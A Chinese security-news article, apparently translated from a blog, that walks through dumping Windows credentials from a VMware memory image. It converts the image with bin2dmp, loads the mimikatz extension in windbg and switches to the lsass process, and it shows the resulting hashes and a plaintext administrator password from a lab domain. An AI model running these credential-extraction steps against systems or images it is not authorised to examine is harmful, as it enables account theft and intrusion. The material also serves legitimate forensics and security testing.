利用Mimikatz提取虚拟机内存中的密码

2014-09-29 626384人围观 ,发现 27 个不明物体 系统安全

前言:

这篇文章来自于国外的carnal0wnage,具体是通过利用windbg载入Mimikatz读取虚拟机内存文件(vmem/vmsn文件),从而获取到其中的密码。之前也有人单独介绍过Mimikatz和metasploit的Mimikatz模块,这次我们主要说一下windbg是怎样使用Mimikatz进行内存取证的。下面我们来看一下carnal0wnage是怎样做的。

题外话:

为了让大家看的更明白,这里我们先简单说一下Mimikatz:该神器出自法国大神Benjamin Delpy之手,可以直接获取到大多数windows平台下的明文密码,相比于其他工具,最大的特点是速度极快,无需等待。关于神器用法之前FreeBuf有人介绍过了,大家可以戳这里http://www.freebuf.com/tools/37162.html

原理是从lsass.exe进程中直接获取密码信息进行破解,而且该破解应该并非穷举方式,而是直接根据算法进行反向计算,这一点原作者已经给出了说明:

下载地址在这里:http://blog.gentilkiwi.com/mimikatz

废话不多说,现在我们看下carnal0wnage是如何做的:

(前面的我就不写了,大约是carnal0wnage的一些个人感慨。。我个人对别人的私生活私感想没兴趣=。=)

当在vCenter/ESXi系统上做这些研究时,我先贴出一些关于这个问题的一些博客文章:

http://www.remkoweijnen.nl/blog/2013/11/25/dumping-passwords-in-a-vmware-vmem-file/
http://blog.gentilkiwi.com/securite/mimikatz/windbg-extension
http://vniklas.djungeln.se/2013/11/29/password-dump-from-a-hyper-v-virtual-machines-memory/

当然,在做这些之前,你需要一些工具:

Windows调试工具(windbg,研究的主要角色)

http://www.remkoweijnen.nl/blog/2013/06/13/debugging-tools-for-windows-direct-download/
http://blog.gentilkiwi.com/programmes/windbg

Windows内存内核工具

http://www.moonsols.com/windows-memory-toolkit/

最新版本的mimikatz已经支持windbg的调用:

https://github.com/gentilkiwi/mimikatz

下面我们开始:

#1 从虚拟主机中拷贝出虚拟内存文件(vmem/vmsn)

#2 使用moonsols的bin2dmp将内存文件转换为dmp格式文件(这里我用的是之前的付过费的pro版)

C:\Users\user\Desktop>Bin2Dmp.exe "Windows Server 2008 x64-b2afd86a.vmem" win2k8.dmp
  bin2dmp - v2.1.0.20140115
  Convert raw memory dump images into Microsoft crash dump files.
  Copyright (C) 2007 - 2014, Matthieu Suiche 
  Copyright (C) 2012 - 2014, MoonSols Limited 
Initializing memory descriptors... Done.
Directory Table Base is 0x124000
Looking for Kernel Base...
Looking for kernel variables... Done.
Loading file... Done.
nt!KiProcessorBlock.Prcb.Context = 0xFFFFF80001B797A0
stuff happens 
   [0x0000000040000000 of 0x0000000040000000]    [0x000000001DAFE000 of 0x000000
   MD5 = E8C2F318FA528285281C21B3141E7C51
Total time for the conversion: 0 minutes 14 seconds.

到这,你应该可以获取到一个dmp文件了,我们可以进行下一步工作了。

#3 在windbg中载入dmp文件,下面是图片:

注意:我们要先在windbg控制台中运行.symfix,然后执行.reload

kd> .symfix
kd> .reload
Loading Kernel Symbols
...............................................................
................................................................
.....
Loading User Symbols
Loading unloaded module list
....

#4 windbg中载入mimilib模块

kd> .load C:\users\user\desktop\mimilib.dll
  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 25 2014 21:48:13)
 .## ^ ##.  Windows build 6002
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  WinDBG extension ! * * */
===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p 
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

#5 查找lsass进程

kd> !process 0 0 lsass.exe
PROCESS fffffa800dba26d0
    SessionId: 0  Cid: 023c    Peb: 7fffffd4000  ParentCid: 01e4
    DirBase: 2e89f000  ObjectTable: fffff880056562c0  HandleCount: 1092.
    Image: lsass.exe

#6 将镜像lsass环境转换到本机中

kd> .process /r /p fffffa800dba26d0
Implicit process is now fffffa80`0dba26d0
Loading User Symbols
................................................................
......................

#7 载入mimikatz

kd> !mimikatz
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-3C4WXGGN8QE$
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-20
 msv :
  [00000002] Primary
  * Username : WIN-3C4WXGGN8QE$
  * Domain   : UNLUCKYCOMPANY
  * NTLM     : ea2ed0b14406a168791adf5aee78fd0b
  * SHA1     : ab7bd2f6a64cf857c9d69dd65916622e3dc25424
 tspkg : KO
---SNIP---
Authentication Id : 0 ; 173319 (00000000:0002a507)
Session           : Interactive from 1
User Name         : Administrator
Domain            : UNLUCKYCOMPANY
SID               : S-1-5-21-2086621178-2413078777-1398328459-500
 msv :
  [00000002] Primary
  * Username : Administrator
  * Domain   : UNLUCKYCOMPANY
  * LM       : e52cac67419a9a2238f10713b629b565
  * NTLM     : 64f12cddaa88057e06a81b54e73b949b
  * SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
 tspkg :
  * Username : Administrator
  * Domain   : UNLUCKYCOMPANY
  * Password : Password1
 wdigest :
  * Username : Administrator
  * Domain   : UNLUCKYCOMPANY
  * Password : Password1
 kerberos :
  * Username : Administrator
  * Domain   : UNLUCKYCOMPANY.NET
  * Password : Password1
  * Key List
---SNIP---

Okay,这样我们就获取到了内存中的密码,明文的。

[参考来源carnal0wnage's blog略有删减。文/FreeBuf小编 xia0k 转载请注明来自FreeBuf.COM]

这些评论亮了

  • ss 回复
    虚拟机也被你们这群孙子玩坏了,还能不能愉快的玩耍了?
    )45( 亮了
  • tin3w5 回复
    记得做毕业设计的时候,班里的一个同学为了不影响玩游戏,把毕设内容全部放在虚拟机里了,结果毕设前三天发现虚拟机密码忘了,苦逼的娃只能申请二次答辩。如果小编早点发布这篇文章,也许会免去不少人间惨案……
    )13( 亮了
  • root 回复
    @tin3w5 哥们,吹牛也要百度一下吧,虚拟机vmdk文件只要没在创建虚拟机时没有选择加密,单纯的系统密码形同虚设,vmdk和vhd文件都可以等同于移动硬盘,可以直接在系统挂载,密码不是问题。告诉你哥的经历,一个经过vm加密的虚拟机,老子备份了vmdk却忘记备份vmx,里面有加密用的公钥,那个才叫妈蛋的坑,回天无力
    )10( 亮了
发表评论

已有 27 条评论

取消
Loading...

特别推荐

关注我们 分享每日精选文章

css.php